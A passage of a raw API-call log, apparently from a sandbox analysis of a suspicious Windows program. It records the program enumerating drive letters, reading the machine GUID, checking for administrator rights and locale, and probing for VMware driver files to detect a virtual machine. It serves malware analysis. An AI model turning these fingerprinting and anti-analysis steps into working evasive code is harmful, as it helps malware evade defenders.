	[0226.670] FindFirstFileW (in: lpFileName="F:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.675] CreateFileW (lpFileName="G:\\" (normalized: "g:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.675] FindFirstFileW (in: lpFileName="G:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.680] CreateFileW (lpFileName="H:\\" (normalized: "h:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.680] VirtualAlloc (lpAddress=0xc0000f8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f8000
	[0226.681] FindFirstFileW (in: lpFileName="H:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.685] CreateFileW (lpFileName="I:\\" (normalized: "i:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.686] FindFirstFileW (in: lpFileName="I:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.690] CreateFileW (lpFileName="J:\\" (normalized: "j:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.690] FindFirstFileW (in: lpFileName="J:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.695] CreateFileW (lpFileName="K:\\" (normalized: "k:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.695] FindFirstFileW (in: lpFileName="K:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.700] CreateFileW (lpFileName="L:\\" (normalized: "l:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.700] FindFirstFileW (in: lpFileName="L:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.705] CreateFileW (lpFileName="M:\\" (normalized: "m:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.709] VirtualAlloc (lpAddress=0xc00003e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00003e000
	[0226.710] FindFirstFileW (in: lpFileName="M:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.710] VirtualAlloc (lpAddress=0xc000040000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000040000
	[0226.715] CreateFileW (lpFileName="N:\\" (normalized: "n:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.716] FindFirstFileW (in: lpFileName="N:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.721] CreateFileW (lpFileName="O:\\" (normalized: "o:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.721] FindFirstFileW (in: lpFileName="O:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.726] CreateFileW (lpFileName="P:\\" (normalized: "p:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.726] FindFirstFileW (in: lpFileName="P:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.732] CreateFileW (lpFileName="Q:\\" (normalized: "q:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.732] FindFirstFileW (in: lpFileName="Q:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.738] CreateFileW (lpFileName="R:\\" (normalized: "r:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.739] FindFirstFileW (in: lpFileName="R:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.744] CreateFileW (lpFileName="S:\\" (normalized: "s:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.747] FindFirstFileW (in: lpFileName="S:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.753] CreateFileW (lpFileName="T:\\" (normalized: "t:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.754] FindFirstFileW (in: lpFileName="T:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.760] CreateFileW (lpFileName="U:\\" (normalized: "u:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.760] FindFirstFileW (in: lpFileName="U:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.766] CreateFileW (lpFileName="V:\\" (normalized: "v:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.766] FindFirstFileW (in: lpFileName="V:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.771] CreateFileW (lpFileName="W:\\" (normalized: "w:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.771] FindFirstFileW (in: lpFileName="W:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.775] CreateFileW (lpFileName="X:\\" (normalized: "x:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.776] FindFirstFileW (in: lpFileName="X:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.781] CreateFileW (lpFileName="Y:\\" (normalized: "y:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.783] FindFirstFileW (in: lpFileName="Y:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.788] CreateFileW (lpFileName="Z:\\" (normalized: "z:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.788] FindFirstFileW (in: lpFileName="Z:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0226.788] VirtualAlloc (lpAddress=0xc000042000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000042000
	[0226.788] VirtualAlloc (lpAddress=0xc000044000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000044000
	[0226.789] VirtualAlloc (lpAddress=0xc000046000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000046000
	[0226.789] VirtualAlloc (lpAddress=0xc000048000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000048000
	[0226.790] VirtualAlloc (lpAddress=0xc00004a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004a000
	[0226.791] VirtualAlloc (lpAddress=0xc00004c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004c000
	[0226.791] VirtualAlloc (lpAddress=0xc00004e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004e000
	[0226.792] VirtualAlloc (lpAddress=0xc000050000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000050000
	[0226.792] VirtualAlloc (lpAddress=0xc000052000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000052000
	[0226.793] VirtualAlloc (lpAddress=0xc000054000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000054000
	[0226.793] VirtualAlloc (lpAddress=0xc000056000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000056000
	[0226.794] VirtualAlloc (lpAddress=0xc000058000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000058000
	[0226.795] VirtualAlloc (lpAddress=0xc000060000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000060000
	[0226.796] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4ce00000
	[0226.797] GetProcAddress (hModule=0x7fff4ce00000, lpProcName="RegOpenKeyExW") returned 0x7fff4ce14aa0
	[0226.797] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x101, phkResult=0xc0000c9dd8 | out: phkResult=0xc0000c9dd8*=0x124) returned 0x0
	[0226.797] GetProcAddress (hModule=0x7fff4ce00000, lpProcName="RegQueryValueExW") returned 0x7fff4ce14c60
	[0226.797] RegQueryValueExW (in: hKey=0x124, lpValueName="MachineGuid", lpReserved=0x0, lpType=0xc0000c9d18, lpData=0xc0000c9da0, lpcbData=0xc0000c9d1c*=0x40 | out: lpType=0xc0000c9d18*=0x1, lpData=0xc0000c9da0*=0x0, lpcbData=0xc0000c9d1c*=0x4a) returned 0xea
	[0226.797] RegQueryValueExW (in: hKey=0x124, lpValueName="MachineGuid", lpReserved=0x0, lpType=0xc0000c9d18, lpData=0xc0000140f0, lpcbData=0xc0000c9d1c*=0x4a | out: lpType=0xc0000c9d18*=0x1, lpData="33d770d0-06bc-47c5-8714-222cdac43a71", lpcbData=0xc0000c9d1c*=0x4a) returned 0x0
	[0226.798] GetProcAddress (hModule=0x7fff4ce00000, lpProcName="RegCloseKey") returned 0x7fff4ce14c50
	[0226.798] RegCloseKey (hKey=0x124) returned 0x0
	[0226.798] VirtualAlloc (lpAddress=0xc000062000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000062000
	[0226.799] VirtualAlloc (lpAddress=0xc000064000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000064000
	[0226.800] VirtualAlloc (lpAddress=0xc000066000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000066000
	[0226.800] VirtualAlloc (lpAddress=0xc000068000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000068000
	[0226.801] VirtualAlloc (lpAddress=0xc00006a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006a000
	[0226.802] VirtualAlloc (lpAddress=0xc00006c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006c000
	[0226.803] VirtualAlloc (lpAddress=0xc00006e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006e000
	[0226.803] VirtualAlloc (lpAddress=0xc000070000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000070000
	[0226.804] VirtualAlloc (lpAddress=0xc000072000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000072000
	[0226.805] VirtualAlloc (lpAddress=0xc000074000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000074000
	[0226.805] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0xc0000120d0, nSize=0x64 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp") returned 0x22
	[0226.806] VirtualAlloc (lpAddress=0xc000076000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000076000
	[0226.806] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc0000121a0, nSize=0x64 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf
	[0226.806] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000012270, nSize=0x64 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf
	[0226.806] VirtualAlloc (lpAddress=0xc000078000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000078000
	[0226.807] GetProcAddress (hModule=0x7fff4f780000, lpProcName="AddDllDirectory") returned 0x7fff4c9b2300
	[0226.807] GetProcAddress (hModule=0x7fff4f780000, lpProcName="LoadLibraryExW") returned 0x7fff4f798f20
	[0226.807] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fff4ce00000
	[0226.807] GetProcAddress (hModule=0x7fff4ce00000, lpProcName="AllocateAndInitializeSid") returned 0x7fff4ce15010
	[0226.807] AllocateAndInitializeSid (in: pIdentifierAuthority=0x13621a8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xc0000c9e28 | out: pSid=0xc0000c9e28*=0x192c63d0e00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1
	[0226.808] GetProcAddress (hModule=0x7fff4ce00000, lpProcName="CheckTokenMembership") returned 0x7fff4ce15a90
	[0226.808] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x192c63d0e00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0xc0000c9dc4 | out: IsMember=0xc0000c9dc4) returned 1
	[0226.808] GetProcAddress (hModule=0x7fff4ce00000, lpProcName="FreeSid") returned 0x7fff4ce157d0
	[0226.808] LoadLibraryW (lpLibFileName="kernel32") returned 0x7fff4f780000
	[0226.809] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetVersion") returned 0x7fff4f79e3a0
	[0226.809] GetVersion () returned 0x23f00206
	[0226.809] VirtualAlloc (lpAddress=0xc00007a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00007a000
	[0226.809] LoadLibraryW (lpLibFileName="kernel32") returned 0x7fff4f780000
	[0226.809] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetUserDefaultLocaleName") returned 0x7fff4f79e3b0
	[0226.809] GetUserDefaultLocaleName (in: lpLocaleName=0xc00007a000, cchLocaleName=85 | out: lpLocaleName="en-US") returned 6
	[0226.810] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Control Panel\\International", ulOptions=0x0, samDesired=0x1, phkResult=0xc0000c9d50 | out: phkResult=0xc0000c9d50*=0x124) returned 0x0
	[0226.811] RegQueryValueExW (in: hKey=0x124, lpValueName="LocaleName", lpReserved=0x0, lpType=0xc0000c9c90, lpData=0xc0000c9d18, lpcbData=0xc0000c9c94*=0x40 | out: lpType=0xc0000c9c90*=0x1, lpData="en-US", lpcbData=0xc0000c9c94*=0xc) returned 0x0
	[0226.811] RegCloseKey (hKey=0x124) returned 0x0
	[0226.811] GetEnvironmentVariableW (in: lpName="windir", lpBuffer=0xc000012340, nSize=0x64 | out: lpBuffer="C:\\WINDOWS") returned 0xa
	[0226.811] VirtualAlloc (lpAddress=0xc00007c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00007c000
	[0226.812] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetFileAttributesExW") returned 0x7fff4f7a22f0
	[0226.812] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\Vmmouse.sys" (normalized: "c:\\windows\\system32\\drivers\\vmmouse.sys"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.813] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\Vmmouse.sys" (normalized: "c:\\windows\\system32\\drivers\\vmmouse.sys"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.813] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\vm3dgl.dll" (normalized: "c:\\windows\\system32\\drivers\\vm3dgl.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.813] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\vm3dgl.dll" (normalized: "c:\\windows\\system32\\drivers\\vm3dgl.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
